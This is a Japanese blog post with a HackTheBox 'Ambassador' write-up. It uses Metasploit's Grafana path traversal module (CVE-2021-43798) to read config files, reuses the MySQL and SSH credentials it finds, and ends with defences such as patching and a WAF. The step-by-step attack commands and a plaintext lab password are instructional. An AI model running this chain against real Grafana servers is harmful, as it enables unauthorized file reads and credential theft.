0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

HTB Ambassador Writeup と Directory Traversal 対策

Posted at

この記事では HackTheBox Ambassador の Writeup とその対策について記載します。
結論、Grafana の CVE-2021-43798 に該当するディレクトリトラバーサルの脆弱性を利用してフラグを取得することになります。また、この記事ではディレクトリトラバーサルの対策についても考察します。

Writeup

該当の Machine の IP アドレスは今回は 10.10.11.183 です。
ip.png

nmap でポートスキャンを実施します。-sV 実際に開いているポートとフィルタ処理されたポートを識別します。

$ sudo nmap -sV 10.10.11.183
Starting Nmap 7.91 ( https://nmap.org ) at 2023-04-08 20:03 JST
Nmap scan report for 10.10.11.183
Host is up (0.17s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
3000/tcp open  ppp?
3306/tcp open  mysql   MySQL 8.0.30-0ubuntu0.20.04.2

TCP 80 ポートが解放されているため、ブラウザでアクセスするために hosts にレコードを追加。

$ echo "10.10.11.183 ambassador.htb" | sudo tee --append /etc/hosts

WEB ブラウザで http://ambassador.htb:3000 にアクセスします。フッター部分に v8.2.0 と記載があります。
graphana.png

msfconsole で Grafana v8.2.0 の脆弱性のエクスプロイトを検索します。

$ sudo msfconsole
msf6 > updatedb
[*] exec: updatedb

msf6 > search Grafana

Matching Modules
================

   #  Name                                             Disclosure Date  Rank    Check  Description
   -  ----                                             ---------------  ----    -----  -----------
   0  auxiliary/admin/http/grafana_auth_bypass         2019-08-14       normal  No     Grafana 2.0 through 5.2.2 authentication bypass for LDAP and OAuth
   1  auxiliary/scanner/http/grafana_plugin_traversal                   normal  No     Grafana Plugin Path Traversal


Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/http/grafana_plugin_traversal

ディレクトリトラバーサルのエクスプロイトを利用し実行します。

msf6 > use auxiliary/scanner/http/grafana_plugin_traversal
msf6 auxiliary(scanner/http/grafana_plugin_traversal) > info

       Name: Grafana Plugin Path Traversal
     Module: auxiliary/scanner/http/grafana_plugin_traversal
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  h00die
  jordyv

Module side effects:
 ioc-in-logs

Module stability:
 crash-safe

Check supported:
  No

Basic options:
  Name          Current Setting                          Required  Description
  ----          ---------------                          --------  -----------
  DEPTH         13                                       yes       Traversal depth
  FILEPATH      /etc/grafana/grafana.ini                 yes       The name of the file to download
  PLUGINS_FILE  /usr/share/metasploit-framework/data/wo  yes       File containing plugins to enumerate
                rdlists/grafana_plugins.txt
  Proxies                                                no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                                                 yes       The target host(s), see https://docs.metasploit.com/docs/using-metasplo
                                                                   it/basics/using-metasploit.html
  RPORT         3000                                     yes       The target port (TCP)
  SSL           false                                    no        Negotiate SSL/TLS for outgoing connections
  TARGETURI     /                                        yes       Path to Grafana instance
  THREADS       1                                        yes       The number of concurrent threads (max one per host)
  VHOST                                                  no        HTTP server virtual host

msf6 auxiliary(scanner/http/grafana_plugin_traversal) > set RHOSTS ambassador.htb
RHOSTS => ambassador.htb

msf6 auxiliary(scanner/http/grafana_plugin_traversal) > run

[+] Detected vulnerable Grafina: 8.2.0
[*] 10.10.11.183 - Progress   0/40 (0.0%)
[+] alertlist was found and exploited successfully
[+] 10.10.11.183:3000 - File saved in: /root/.msf4/loot/20230408215213_default_10.10.11.183_grafana.loot_477514.ini
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

grafana.ini を取得できたため「File saved in」以降のローカルに保存された ini ファイルを参照し、admin_password を見つけます。

$ sudo cat /root/.msf4/loot/20230408215213_default_10.10.11.183_grafana.loot_477514.ini | less

# default admin password, can be changed before first start of grafana,  or in profile settings
admin_password = ***************

ブラウザで「http://ambassador.htb:3000/login」にアクセスして grafana.ini より取得したアカウントの ID とパスワードを入力して「Log in」ボタンを押下し、ブラウザで Grafana の設定画面を参照します。nmap の結果より TCP 3306 が解放されていたことからデータソースを確認します。以下の通り MySQL が指定されてあり、mysql.yaml で定義されていることがわかります。
mysql.png

mysql.yaml は Grafana 公式ページ(https://grafana.com/docs/grafana/latest/administration/provisioning/)より /etc/grafana/provisioning/datasources/mysql.yaml にあると分かります。エクスプロイトより ini ファイルを参照します。

$ sudo msfconsole
msf6 > use auxiliary/scanner/http/grafana_plugin_traversal
msf6 auxiliary(scanner/http/grafana_plugin_traversal) > set RHOSTS ambassador.htb
RHOSTS => ambassador.htb
msf6 auxiliary(scanner/http/grafana_plugin_traversal) > set FILEPATH /etc/grafana/provisioning/datasources/mysql.yaml
FILEPATH => /etc/grafana/provisioning/datasources/mysql.yaml
msf6 auxiliary(scanner/http/grafana_plugin_traversal) > run

[+] Detected vulnerable Grafina: 8.2.0
[*] 10.10.11.183 - Progress   0/40 (0.0%)
[+] alertlist was found and exploited successfully
[+] 10.10.11.183:3000 - File saved in: /root/.msf4/loot/20230408221645_default_10.10.11.183_grafana.loot_749560.yaml
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed 

$ sudo cat /root/.msf4/loot/20230408221645_default_10.10.11.183_grafana.loot_749560.yaml
apiVersion: 1

datasources:
 - name: mysql.yaml 
   type: mysql
   host: localhost
   database: grafana
   user: grafana
   password: *************
   editable: false

ポートスキャンの結果より 3306 が解放されていたことより、mysql.yaml から得たユーザ名とパスワードでアクセスを試行し中身を参照します。users テーブルが存在することがわかり参照します。

$ mysql -h ambassador.htb -u grafana --password=dontStandSoCloseToMe63221!

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| grafana            |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| whackywidget       |
+--------------------+
6 rows in set (0.211 sec)

MySQL [(none)]> use whackywidget;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

MySQL [whackywidget]> show tables;
+------------------------+
| Tables_in_whackywidget |
+------------------------+
| users                  |
+------------------------+
1 row in set (0.181 sec)

MySQL [whackywidget]> select * from users;
+-----------+------------------------------------------+
| user      | pass                                     |
+-----------+------------------------------------------+
| developer | **************************************== |
+-----------+------------------------------------------+
1 row in set (0.246 sec)

pass が = でパディングされていることから Base64 を疑いでデコードし SSH を試行しフラグを取得します。

$ echo -n "**************************************==" | base64 -d
< ssh password >

$ ssh developer@ambassador.htb 
developer@ambassador.htb's password: < ssh password >
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-126-generic x86_64)

developer@ambassador:~$ ls
snap  user.txt

developer@ambassador:~$ cat user.txt 

考察

今回の脆弱性では、サーバ内ファイルの閲覧がされました。対策は2つあります。

  • 定期的なソフトウェア自動アップデート
  • WAF 導入による防御

また、今回脆弱性では適用は困難ですが、ファイルの権限厳格化またはファイル名の難読化が有効です。

定期的なソフトウェアアップデートは、AWS 環境であれば OpsWork を利用したり、yum-cron で自動化することがおすすめです。

また、WAF においても、制御ルールの保守が煩雑になるためフルマネージドサービスを適用し運用することで自動化ができます。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?